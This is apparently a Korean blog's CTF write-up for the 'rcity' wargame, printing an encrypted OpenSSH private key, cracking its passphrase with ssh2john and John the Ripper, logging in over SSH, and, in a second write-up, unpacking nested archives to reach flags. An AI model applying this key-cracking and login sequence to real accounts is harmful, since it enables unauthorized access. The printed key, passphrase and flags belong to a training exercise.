b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBRoGKpka
dAoXrZevW/dGamAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDIRhd4rX23
ouE4C5tX65S9RczDYUdIYtpYi6n/i5cwUkeGo21CUESaObHL2RSOOShgKJG92qFobOONX5
4LZ3Wogf6BcCPqx4togY7LDex34KS0vUAsGSOZr19KWvNGrveywv5vRxomCyDnXOLgeB8q
R23tlwCgIVWoQUT2OxLP20emrG2HJveVwRQ2ux70+s3z1Dk9ELxsT/jq9IvU2sQRmfvqa7
1pvC96L7ZzTX2RYPKXJZVc37Ku3iqSRHxM+INZvT5O5UqoYcb3dKfl2/w70/0hvpGMFnzM
5zutNycVuAPtPm9KoEmJ1d+LAC12Wxw6YWnGitNztFQ8B6zVfo7tAAAD0Jh/0ccMw5hZQT
4cMCq6bUOxwouahC9Tg7IjI9KcZRqoo1TVB5of50ANoOnOsPDJJsaQoPDQW5Xw5hUbDLOB
0836SrHjCit3GtljxLBj2+pKFzi5r7mEashD1Ch5B9h6xqP/if8sdc5lNtgPb8ZdNnemeN
XeJ319Rq6yFRTRr8kHGD5zcqgqXVMYMaFzBQri/Bab6QYwEsGzLpfFKyQpTMkJP2JSb5JG
lHNuq/5tArX3xUBz/z3VnHlNg/OR9S1pn9MYrru/4qPIMYmzyqi/9oYjEWUqCpkBo5kahv
oIc/Z3OodlMUuitpOhu/46OJU0dQjx4eR8nCgS1M/LrHjgt+84u5l8GeaC3xY5uYJXZwpv
tzw2sW3orV/0ztbwuUprY2qHhwTfbfxuI8Kl6SrbjOco1wVQRcAKKUZRPHBvjoML92p+G0
c3bODlx1+/njuGI9dTzyi7cvug1UXcsDfp4iSOkEVZ+y6pVU/AoNuijy7oN+mrwl0TQ2MF
MHv6yAkEQ/jPWkL6w2Mcx2VrSemUrgLv5ZaDKhdYIuPJjjAPBS+/2S/wzTeKtC66rh48et
RfIm+8Vx1CCTljjnAzsHDH9dTR3TVgwlCRQ+spt7IHiHMiV3lsSYA41Y8b6IOE4wCWzykH
lKsgRWP8a/3pCKiuYV7sDzmHcAwgeZrxnaLu2pnHxtEljHepChKn127ufN4cVo9YqsSzpi
GGqPK2zBLY50VjcHs/SQ44Qqu+AwE0LmWZB924qLI5Q0bYQ+F+NdtfwNK6sI7acpIlSWvE
7Q7EJFRodOspRMq8ZARBAx+0jVJiIhaRD1PEz/cocpTM0NpJ1uDv+EIHhoZSHlJNCh84ii
j7DcSObLikn1BKoMP6g7eWXKxqyUFjNfvWuci3oCcz1kzFIobGkf7vYBkFIvQk9RDjmTMC
zMc3jjHnPLIEDZ/rB/JfdsgbUv1E87+FKazR+0WXqvDS6g+NhHT+1J4H0sFp+yHuOHlmE/
P+Yv8ocgcj37ikIkAaP0QHvEef6WQ+Cw0fqZNW2RXDMMzoWJDxEgPnbPeCMG0SuaSW8jfn
8y/uUTFGZLIlTQckWvHvGJOBgvDJp5p+nNV2sCJPgIVoMPac7jqte9gsVfOjVEMJp0+gYa
FZEbkZ/oMAmtedek4ntLtRkfO2NwI3HgAxG75Y8NBx5iWUWWPAZDo1xDVtiBEA2LzLAmgP
6KIHzDaKUbna4yKJMAVDAQsT/e6S2IuzgvyNGH9qNbEdMzyTAGPvOxjkMrrU7ijwR9pmrL
b/pCRGP5UtFWO7L/dYWWiZ6C4X9DY=
-----END OPENSSH PRIVATE KEY-----

확인을 해보니 id_rsa.rcity12는 rcity12의private key(개인키) 인것으로 추정된다

 

기본적으로 칼리 리눅스에는 john the ripper가 깔려있는거같은데 일단 힌트에 나와있는 링크를 통해 진행을 해보자

hint 링크 : https://null-byte.wonderhowto.com/how-to/crack-ssh-private-key-passwords-with-john-ripper-0302810/

 

How to Crack SSH Private Key Passwords with John the Ripper

Secure Shell is one of the most common network protocols, typically used to manage remote machines through an encrypted connection. However, SSH is prone to password brute-forcing. Key-based authentication is much more secure, and private keys can even be

null-byte.wonderhowto.com

 

여기에 자세히 설명이 나와있다

 

 

┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
--2024-04-01 04:27:53--  https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9677 (9.5K) [text/plain]
Saving to: ‘ssh2john.py’

ssh2john.py               100%[=====================================>]   9.45K  --.-KB/s    in 0.004s  

2024-04-01 04:27:54 (2.11 MB/s) - ‘ssh2john.py’ saved [9677/9677]

 

ssh2john.py를 wget을 이용하여 다운 받아준다 이후 openssh private key를 john에 사용할 수 있게 변환 하기 위해서 아래와 같이 진행한 후에 주어진 wordlist.txt 에서는 구분자가 , 로 되어있는데 이것을 \n 으로 치환을 해줘야한다

┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# python ssh2john.py id_rsa.rcity12 > id_rsa.hash
                                                                                                        
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# ls
id_rsa.hash  id_rsa.rcity12  ssh2john.py  wordlist.txt
                                                                                                        
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# cat wordlist.txt  
123456,Jok3r,12345,123456789,password,iloveyou,princess,1234567,rockyou,12345678,abc123,nicole,daniel,babygirl,monkey,lovely,jessica,654321,michael,ashley,qwerty,111111,iloveu,000000,michelle,tigger,sunshine,chocolate,password1,soccer,anthony,friends,butterfly,purple,angel,jordan,liverpool,justin,loveme,fuckyou,123123,football,secret,andrea,carlos,jennifer,joshua,bubbles,1234567890,superman,hannah,amanda,loveyou,pretty,basketball,andrew,angels,tweety,flower,playboy,hello,elizabeth,hottie,tinkerbell,charlie,samantha,barbie,chelsea,lovers,teamo,jasmine,brandon,666666,shadow,melissa,eminem,matthew,robert,danielle,forever,family,jonathan,987654321,computer,whatever,dragon,vanessa,cookie,naruto,summer,sweety,spongebob,joseph,junior,softball,taylor,yellow,daniela,lauren,mickey,princesa,alexandra,alexis,jesus,estrella,miguel,william,thomas,beautiful,mylove,angela,poohbear,patrick,iloveme,sakura,adrian,alexander,destiny,christian,121212,sayang,america,dancer,monica,richard,112233,princess1,555555,diamond,carolina,steven,rangers,louise,orange,789456,999999,shorty,11111,nathan,snoopy,gabriel,hunter,cherry,killer,sandra,alejandro,buster,george,brittany,alejandra,patricia,rachel,tequiero,7777777,cheese,159753,arsenal,dolphin,antonio,heather,david,ginger,stephanie,peanut,blink182,sweetie,222222,beauty,987654,victoria,honey,00000,fernando,pokemon,maggie,corazon,chicken,pepper,cristina,rainbow,kisses,manuel,myspace,rebelde,angel1,ricardo,babygurl,heaven,55555,baseball,martin,greenday,november,alyssa,madison,mother,123321,123abc,mahalkita,batman
                                                                                                                                                    
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# sed 's/,/\n/g' wordlist.txt > sed_word.txt
                                                                                                        
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# cat sed_word.txt 
123456
Jok3r
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole

 

 

이렇게 말이다 보통 password.lst 의 파일 가지고 bruteforce 하는데 그 형식이 구분자가 , 가 아닌 \n 즉 칸바꿈을 이용해서 적용이 되어있기 때문에 이렇게 해줘야 인식이 되어 brutefocing이 가능하다

┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# john id_rsa.hash --wordlist=sed_word.txt                          
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sayang           (id_rsa.rcity12)     
1g 0:00:00:07 DONE (2024-04-01 04:37) 0.1253g/s 16.04p/s 16.04c/s 16.04C/s patrick..555555
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

 

이렇게 brutefoce 공격이 성곡하여 sayang 이라는 비밀번호를 찾았다

 

┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# chmod 400 id_rsa.rcity12 
                                                                                                        
                                                                                                        
┌──(root㉿kali)-[~/raccoon/rcity/11]
└─# ssh -i id_rsa.rcity12 rcity12@ctf.redraccoon.kr -p 31338
Enter passphrase for key 'id_rsa.rcity12': sayang

rcity12@35e08a7255bf:~$ ls
rcity11-flag-for-ctfd.txt  rcity12-flag1.txt  rcity12-flag2.txt
rcity12@35e08a7255bf:~$ cat rcity11-flag-for-ctfd.txt 
d7M6h9R3jP4w1Z2c0V8
rcity12@35e08a7255bf:~$

 

 

flag 획득

 

 

'rcity' 카테고리의 다른 글

rcity13 Write-Up  (0) 2024.04.01
rcity12 Wirte-Up  (0) 2024.04.01
rcity10 Write-Up  (0) 2024.03.31
rcity9 Write-Up  (1) 2024.03.31
rcity8 Write-Up  (1) 2024.03.31

 

 

 

 

풀이

압축파일이 겹겹히 압축되어있는 것으로 추정된다

rcity10@f5532245be95:~$ ls
flag.txt
rcity10@f5532245be95:~$ mkdir /tmp/20240331
rcity10@f5532245be95:~$ cd /tmp/20240331
rcity10@f5532245be95:/tmp/20240331$ ls
rcity10@f5532245be95:/tmp/20240331$ cp /home/rcity10/flag.txt .
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt
rcity10@f5532245be95:/tmp/20240331$ 7z x flag.txt 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU DO-Regular (306F2),ASM,AES-NI)

Scanning the drive for archives:
1 file, 410 bytes (1 KiB)

Extracting archive: flag.txt
--
Path = flag.txt
Type = 7z
Physical Size = 410
Headers Size = 138
Method = LZMA2:12
Solid = -
Blocks = 1

Everything is Ok

Size:       332
Compressed: 410

 

rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz.abc
rcity10@f5532245be95:/tmp/20240331$ file flag.xyz.zzz.abc 
flag.xyz.zzz.abc: Zip archive data, at least v2.0 to extract, compression method=deflate
rcity10@f5532245be95:/tmp/20240331$ unzip flag.xyz.zzz.abc 
Archive:  flag.xyz.zzz.abc
  inflating: flag.xyz.zzz            
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz  flag.xyz.zzz.abc
rcity10@f5532245be95:/tmp/20240331$ file flag.xyz.zzz
flag.xyz.zzz: gzip compressed data, was "flag.xyz", last modified: Wed Mar  6 08:04:14 2024, from Unix, original size modulo 2^32 10240
rcity10@f5532245be95:/tmp/20240331$ gzip flag.xyz.zzz
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz.abc  flag.xyz.zzz.gz
rcity10@f5532245be95:/tmp/20240331$ gzip -d flag.xyz.zzz.gz
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz  flag.xyz.zzz.abc
rcity10@f5532245be95:/tmp/20240331$ file flag.xyz.zzz
flag.xyz.zzz: gzip compressed data, was "flag.xyz", last modified: Wed Mar  6 08:04:14 2024, from Unix, original size modulo 2^32 10240
rcity10@f5532245be95:/tmp/20240331$ mv flag.xyz.zzz flag.xyz.zzz.gz
rcity10@f5532245be95:/tmp/20240331$ gzip -d flag.xyz.zzz.gz 
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz  flag.xyz.zzz.abc
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz  flag.xyz.zzz.abc
rcity10@f5532245be95:/tmp/20240331$ file flag.xyz.zzz
flag.xyz.zzz: POSIX tar archive (GNU)
rcity10@f5532245be95:/tmp/20240331$ tar -xvf flag.xyz.zzz
flag.txt
rcity10@f5532245be95:/tmp/20240331$ ls
flag.txt  flag.xyz.zzz  flag.xyz.zzz.abc
rcity10@f5532245be95:/tmp/20240331$ file flag.txt 
flag.txt: ASCII text
rcity10@f5532245be95:/tmp/20240331$ cat flag.
cat: flag.: No such file or directory
rcity10@f5532245be95:/tmp/20240331$ cat flag.txt
flag: k3G8q2L5uX6r9C7b1H4

'rcity' 카테고리의 다른 글

rcity12 Wirte-Up  (0) 2024.04.01
rcity11 Write-Up  (0) 2024.04.01
rcity9 Write-Up  (1) 2024.03.31
rcity8 Write-Up  (1) 2024.03.31
rcity7 Write-Up  (1) 2024.03.31

+ Recent posts